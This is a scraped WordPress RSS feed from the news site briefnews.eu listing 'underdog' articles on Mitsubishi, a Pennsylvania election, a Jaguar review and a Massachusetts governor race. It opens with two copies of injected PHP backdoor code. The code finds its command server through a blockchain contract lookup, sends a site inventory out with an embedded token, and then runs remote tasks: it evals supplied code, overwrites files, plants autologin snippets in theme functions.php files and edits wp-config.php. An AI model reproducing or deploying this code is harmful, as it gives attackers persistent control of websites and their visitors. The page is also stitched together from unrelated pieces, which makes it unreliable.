// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); underdog’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 15 Aug 2018 05:43:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png underdog’ – Brief News https://briefnews.eu 32 32 Eternal Underdog: Mitsubishi May Not Sell Enough Cars in the U.S. to Worry About Tariffs https://briefnews.eu/eternal-underdog-mitsubishi-may-not-sell-enough-cars-in-the-u-s-to-worry-about-tariffs/ https://briefnews.eu/eternal-underdog-mitsubishi-may-not-sell-enough-cars-in-the-u-s-to-worry-about-tariffs/#respond Wed, 15 Aug 2018 05:43:15 +0000 http://briefnews.eu/eternal-underdog-mitsubishi-may-not-sell-enough-cars-in-the-u-s-to-worry-about-tariffs/ While still an industrial giant on the global scene, Mitsubishi is a shadow of its former self in the United States. After leaning a bit too hard on its status as a value brand, annual deliveries went from about 346,000 units to just 58,000 between 2002 and 2012. Meaningful progress has been made since then, but […]

The post Eternal Underdog: Mitsubishi May Not Sell Enough Cars in the U.S. to Worry About Tariffs appeared first on The Truth About Cars.

]]> https://briefnews.eu/eternal-underdog-mitsubishi-may-not-sell-enough-cars-in-the-u-s-to-worry-about-tariffs/feed/ 0 A Democratic underdog is close to pulling out a huge upset in the nation’s biggest election https://briefnews.eu/a-democratic-underdog-is-close-to-pulling-out-a-huge-upset-in-the-nations-biggest-election/ https://briefnews.eu/a-democratic-underdog-is-close-to-pulling-out-a-huge-upset-in-the-nations-biggest-election/#respond Wed, 14 Mar 2018 03:05:23 +0000 http://briefnews.eu/a-democratic-underdog-is-close-to-pulling-out-a-huge-upset-in-the-nations-biggest-election/ Conor LambDrew Angerer/Getty Images

  • Democrat Conor Lamb is close to pulling off a remarkable victory in Pennsylvania’s 18th Congressional District on Tuesday.
  • President Donald Trump won the district by 20 points in 2016.
  • Right now, the race is too close to call.

Democrat Conor Lamb late Tuesday moved close to pulling off an improbable win, keeping the Democratic momentum going on Tuesday as he led Republican Rick Saccone in the special election for Pennsylvania’s 18th Congressional District.

With more than 95% of precincts reporting, Lamb held a lead of less than 1 percentage point over Saccone. 

See the rest of the story at Business Insider

NOW WATCH: Harvard professor Steven Pinker explains the disturbing truth behind Trump’s 2 favorite phrases

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SEE ALSO: ‘There’s a lot of people who are woke’: How anti-Trump fervor and a hyper-focused candidacy led a Democratic candidate to the cusp of an unthinkable upset

]]> https://briefnews.eu/a-democratic-underdog-is-close-to-pulling-out-a-huge-upset-in-the-nations-biggest-election/feed/ 0 2018 Jaguar XJR575 First Drive Review | Everyone loves an underdog, right? https://briefnews.eu/2018-jaguar-xjr575-first-drive-review-everyone-loves-an-underdog-right/ https://briefnews.eu/2018-jaguar-xjr575-first-drive-review-everyone-loves-an-underdog-right/#respond Wed, 15 Nov 2017 17:51:49 +0000 http://briefnews.eu/2018-jaguar-xjr575-first-drive-review-everyone-loves-an-underdog-right/ The number is right there, nestled smack in the middle against the windshield in red: 575. In case you missed it, there are another four red 575s stitched into the seat backs. You might excuse Jaguar for the numerical ostentation, but with manufacturers taking the horsepower arms race nuclear, the 6-year-old XJR sure could use a hook. What better way to stand out than an engine output humblebrag?

The $ 122,400 Jaguar XJR575 gains 25 horsepower for 2018 thanks to software recalibration, which helps scoot the 17-foot-long four-door to 60 mph in a claimed 4.2 seconds. I’m gunning the XJR575 along the mountainous passes near the Alvão Natural Park in northern Portugal to find out whether the upgrade is enough to keep this underdog relevant in the fevered pitch of the high-dollar sedan market.

Glance at the Jag in profile, and you might doubt its athleticism. Though nearly identical in length to a long-wheelbase BMW 7-Series and Mercedes-Benz S-Class (and 1.8 inches shorter than the Audi A8L), the XJR575’s sloping rear window and rounder styling lend it a somewhat lazier, more lavish appearance. It’s also long in the tooth, this design having been first introduced in 2009, but it wears its age surprisingly well. Frankly, you just don’t see XJ-series Jags as often as their strong-selling competitors, and that keeps them looking fresher, somehow. In contrast, the Germans have kept their exterior lines purposeful and contemporary looking, with more frequent redesigns furthering their cause.

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Climb inside, and the XJR’s premium trim lends a bit more modernity to the familiar cabin. For starters, the diamond-quilted and perforated leather seats offer solid support, but they might be a bit firm for long hauls. Unlike other XJs, the XJR and R-Sport trims don’t offer a massaging feature, an unfortunate sacrifice that is available on most, if not all, of the competitive set. The rear quarters do, however, offer enough legroom for serious stretching out. Tall swaths of carbon fiber trim the door panels while another thin rim of carbon extends around the dashboard, a design shorthand for sportiness despite the fact that the XJR is only available stateside in long-wheelbase form. An Alcantara headliner aids the high-end argument.

A few aging elements show cracks in the façade, among them the ungainly seams at the dashboard’s center and switchgear that’s grown more than a bit long in the tooth. At least Jaguar’s controversial cylindrical shifter is pleasantly knurled, lending a feel of specialness over the dials found in the non-R models. New for 2018 is a larger, 10-inch multimedia touch screen that uses Jaguar’s latest Touch Pro software. The system works adequately well, though it lags the newest interfaces from BMW and Mercedes-Benz, and is far behind the upcoming A8L’s advanced, dual-screen setup. The digital instrument cluster is also a weak spot because of its less-than-razor-sharp resolution and middling brightness. Countering the arguments against the XJR’s cabin is 4G Wi-Fi, an excellent 1,300-watt Meridian sound system and unique touches such as the giant eyeball vents rimmed in soft blue lighting, adding to the distinctive Britishness of this big-boned sporting saloon.

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The Jag’s supercharged 5.0-liter V-8 pulls hard from low rpms, delivering a plateau of 517 lb-ft between 3,500 rpm and 4,500 rpm. Acceleration isn’t as brutal as the monstrously quick 603-hp, 664-lb-ft Mercedes-AMG S 63, but it’s still strong and satisfying, aided by a smooth-shifting ZF 8-speed automatic. Also pleasing is the finely modulated exhaust note, which betrays just enough of the engine’s mechanical soul without being intrusive or droning. The XJR’s rear-drive-only setup requires some restraint off the line, as dropping the hammer can trigger the traction control system. However, intervention is relatively unobtrusive when it does occur. While the cabin is on the quieter side—a good thing—traces of wind noise do creep in at higher speeds.

The Jaguar occupies a relatively large footprint but turns respectably well, thanks in part to its relatively wispy curb weight of 4,156 pounds, which undercuts the big Bimmer and Benz by several hundred pounds. Aiding handling is a brake vectoring system that squeezes the inside calipers to help rotate the vehicle. As with the XF Sportbrake that I also tested on nearby roads, hustling the XJR through corners at a spirited pace can trigger whiffs of brake pad odor, which could spell more frequent pad replacement for folks who hustle the XJR regularly. Regardless of the means, the big sedan achieves its ends with impressive responsiveness, though the electric power assist steering can feel muted on-center. Ride quality is controlled but generally smooth thanks an adaptive suspension system that monitors vehicle dynamics 500 times a second. By evaluating g-forces and pedal inputs, the system manages to strikes a solid balance between crispness and comfort. But don’t bother switching the drive mode selector to Sport, which is indicated by a checkered flag symbol: The ensuing throttle response feels unnecessarily jerky, making the challenge of smoothly modulating right-pedal inputs not worth the trouble. Brake feel is good, and the big red calipers deliver reassuringly strong stops.

2018 Jaguar XJR575

With Jaguar’s expanding SUV and crossover lineup drawing much of the brand’s attention these days, one can’t help but wonder whether the aging XJ’s future is in peril. Especially when it comes to limited production, high-end, go-fast sedans, it’s becoming harder than ever to compete with the big boys such as the $ 138,800 BMW Alpina B7 and the $ 147,500 Mercedes-AMG S 63, not to mention the next-gen Audi A8L that will hit showrooms next fall. And since buyers of these plush, powerful sedans are unlikely to scoff at $ 20K or so in savings, the XJR575 faces a particular uphill battle.

However, Jaguar’s flagship does offer distinctiveness within this competitive segment, one that’s hard to find elsewhere. While every Tom, Dick and Harry on Wall Street is sporting a Benzo or Bimmer (not to mention more premium offerings from Aston Martin, Bentley and Rolls-Royce), the Jaguar still makes a niche statement with singular styling that’s about as unique as its two exclusive colors, Satin Corris Grey and Velocity Blue. There may be excellent alternatives among big-ticket performance sedans, but few will stand out in the crowd like the XJR575.

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]]> https://briefnews.eu/2018-jaguar-xjr575-first-drive-review-everyone-loves-an-underdog-right/feed/ 0 Can This Underdog Candidate Unseat America's Most Popular Governor? https://briefnews.eu/can-this-underdog-candidate-unseat-americas-most-popular-governor/ https://briefnews.eu/can-this-underdog-candidate-unseat-americas-most-popular-governor/#respond Sun, 12 Nov 2017 08:31:32 +0000 http://briefnews.eu/can-this-underdog-candidate-unseat-americas-most-popular-governor/ The son of a Korean War veteran and civil rights activist, Setti Warren knew that he too wanted to make a difference. To hear him tell it, he felt called to a life of service. So, naturally, he set his sights on medicine.

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Except, “I was way too squeamish to be a doctor,” Warren, 47, tells OZY, chuckling as he thinks back to the path that led him to politics. “But it was all about, ‘How can I help people?’ My dad would often say that you weren’t a full-fledged citizen unless you served in some capacity.”

And Warren has, dedicating the past two decades to politics and the military. Now, the imperturbable mayor of Newton, Massachusetts, is neck-deep in a gubernatorial race. Since announcing his candidacy in May, Warren has been gearing up for the battle to unseat incumbent Gov. Charlie Baker, the rare Republican in a left-leaning state who boasts a 70 percent approval rating. Baker’s popularity has kept top Republican challengers at bay, but Warren and his supporters believe Massachusetts is ripe for change. “Deciding not to run for a third term as Newton mayor was a tough call,” says the Democratic candidate. “But as I started to move around the state and hear from people, it was clear to me that people and communities are falling behind.”

In a state where an incumbent governor has not been defeated in a general election since 1974, the odds are steep.

